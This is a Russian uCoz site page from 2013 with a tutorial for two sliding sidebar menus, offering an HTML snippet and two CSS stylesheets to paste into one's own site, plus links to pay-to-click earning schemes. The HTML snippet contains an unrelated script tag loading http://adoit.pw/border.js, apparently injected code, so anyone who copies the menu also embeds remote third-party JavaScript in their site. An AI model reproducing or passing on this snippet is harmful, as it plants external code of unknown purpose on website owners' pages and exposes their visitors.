Боковое Меню Цветное и серое - 25 Июля 2013

Старая форма входа

Контекстная реклама

Меню сайта

Обратная связь с Админом

Категории

Дорогие посетители , внесите пожертвование в развитие нашего проекта
Z155127345598 WMZ

Сказать мнение о сайте

Оставить своё спасибо

$ работа [37]

Заработок

$ инвест [1]

Вклад

Скрипты [102]

Скрипты наших пользователей

Статистика

Онлайн всего: 1

Гостей: 1

Пользователей: 0

[15.04.2012]	[$ работа]
1 $ быстро Выплата!. (2)

[24.03.2013]	[Скрипты]
7 каналов радиостанций высочайшего уровня на любой вкус! (0)

[28.05.2012]	[$ работа]
80% - 90% refbek (0)

[13.11.2010]	[$ работа]
Cashnhits.com - Лучший аврора-сайт, больше года он-лайн! (2)

[05.07.2013]	[Скрипты]
Cкрипт подробной статистики сайта (0)

[05.04.2013]	[Скрипты]
Flash игра для сайта Аэрохокей с Микки (0)

[07.11.2012]	[$ работа]
Fusebux - 100% заплатил (1)

[20.04.2013]	[Скрипты]
MineCraft вид материалов для uCoz (0)

[07.11.2012]	[$ работа]
Ojooo - Watching Ad это сервис, который позволяет заработать (1)

[14.09.2012]	[$ работа]
PTC-RefBack - первый профессиональный проект (1)

Сегодня нас посетили:

Гость

Лента комментариев

defaultNick defaultNick	mymailsokolok mymailsokolok
Guf-ZM Guf-ZM	sasa78 sasa78
sndrsb sndrsb	Feedback_89 Feedback_89
Liex Liex	Anton-writer Anton-writer
kenny kenny	libermann394 libermann394

Мини-чат

Наши друзья

Поиск

10$ SkypeCredit Voucher (Активация на сайте Skype.com)

Цена: 10,5$

моментальное получение товара после оплаты

25$ SKYPEOUT Ваучер (Активация на сайте Skype.com)

Цена: 26,97$

моментальное получение товара после оплаты

Eve-Online Time Card (60 дней)

Цена: 32$

моментальное получение товара после оплаты

Карта PSN 1000 рублей PlayStation Network (RU)

Цена: 33,2$

моментальное получение товара после оплаты

Информация

Боковое Меню Цветное и серое

Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код

<div id="main">
  <ul id="navigationMenu">
  <li>
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>
  </li>
  <li>
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>
  </li>
  <li>
  <a class="m_forum" href="/forum"><span>Форум</span></a>
  </li>
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>
  <?if($USER_LOGGED_IN$)?>
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>
  </li>
  <?else?>
  <li>
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>
  </li>
  <?endif?>
  </ul>
  </div>

А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код

#main{
  position:fixed;
  top: 150px;
  right: 0px;
  padding:0;
}

#main ul{
  padding:0;
}

#navigationMenu li{
  list-style:none;
  height:35px;
  width:35px;
}

#navigationMenu span{
  position:absolute;
  overflow:hidden;
  width:0;
  right:35px;
  padding:0;
  font:12px Verdana,Arial,Helvetica,sans-serif;
  font-weight:bold;
  line-height:35px;
  white-space:nowrap;
  -webkit-transition: 0.25s;
  -moz-transition: 0.25s;
  transition: 0.25s;
}

#navigationMenu a{
  display:block;
  position:relative;
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;
  height:35px;
  width:35px;
}

#navigationMenu a:hover span{
  overflow:hidden;
  text-align:center;
  width:110px;
  padding:0px 10px;
}

#navigationMenu a:hover{
  text-decoration:none;
}

#navigationMenu .m_home {background-position:0 0;}
#navigationMenu .m_home :hover {background-position:0 -35px;}

#navigationMenu .m_gost {background-position:-35px 0;}
#navigationMenu .m_gost:hover {background-position:-35px -35px;}

#navigationMenu .m_forum {background-position:-70px 0;}
#navigationMenu .m_forum:hover {background-position:-70px -35px;}

#navigationMenu .m_pochta { background-position:-105px 0;}
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}

#navigationMenu .m_vxod { background-position:-140px 0;}
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}

#navigationMenu .m_vixod { background-position:-175px 0;}
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}

#navigationMenu .m_gost span,
#navigationMenu .m_forum span,
#navigationMenu .m_pochta span,
#navigationMenu .m_vxod span,
#navigationMenu .m_vixod span,
#navigationMenu .m_home span {
  background:#444;
  color:#777;
  text-shadow:1px 1px 0 #333;
}

Цветное меню

Код

#main{
  position:fixed;
  top: 150px;
  left: 0px;
  padding:0;
  }

  #main ul{
  padding:0;
  }

  #navigationMenu li{
  list-style:none;
  height:35px;
  width:35px;
  }

  #navigationMenu span{
  position:absolute;
  overflow:hidden;
  width:0;
  left:35px;
  padding:0;
  font:12px Verdana,Arial,Helvetica,sans-serif;
  font-weight:bold;
  line-height:35px;
  white-space:nowrap;
  -webkit-transition: 0.25s;
  -moz-transition: 0.25s;
  transition: 0.25s;
  }

  #navigationMenu a{
  display:block;
  position:relative;
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;
  height:35px;
  width:35px;
  }

  #navigationMenu a:hover span{
  overflow:hidden;
  text-align:center;
  width:110px;
  padding:0px 10px;
  }

  #navigationMenu a:hover{
  text-decoration:none;
  }

  #navigationMenu .m_home {background-position:0 0;}
  #navigationMenu .m_home :hover {background-position:0 -35px;}
  #navigationMenu .m_home span{
  background:#7da315;
  color:#3d4f0c;
  text-shadow:1px 1px 0 #99bf31;
  }

  #navigationMenu .m_gost {background-position:-35px 0;}
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}
  #navigationMenu .m_gost span{
  background:#1e8bb4;
  color:#223a44;
  text-shadow:1px 1px 0 #44a8d0;
  }

  #navigationMenu .m_forum {background-position:-70px 0;}
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}
  #navigationMenu .m_forum span{
  background:#c86c1f;
  color:#5a3517;
  text-shadow:1px 1px 0 #d28344;
  }

  #navigationMenu .m_pochta { background-position:-105px 0;}
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}
  #navigationMenu .m_pochta span{
  background-color:#d0a525;
  color:#604e18;
  text-shadow:1px 1px 0 #d8b54b;
  }

  #navigationMenu .m_vxod { background-position:-140px 0;}
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}
  #navigationMenu .m_vxod span{
  background-color:#af1e83;
  color:#460f35;
  text-shadow:1px 1px 0 #d244a6;
  }

  #navigationMenu .m_vixod { background-position:-175px 0;}
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}
  #navigationMenu .m_vixod span{
  background-color:#27ddbf;
  color:#097863;
  text-shadow:1px 1px 0 #87ffe7;
  }

Всего комментариев: 0

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Администрация не несет какую либо ответственность
за публикуемые материалы. Бесплатный конструктор сайтов - uCoz.
© 2012-2013 Всем дарю Заработай 1000 баксов,от меня Заработай 1000 баксов.по 250 баксов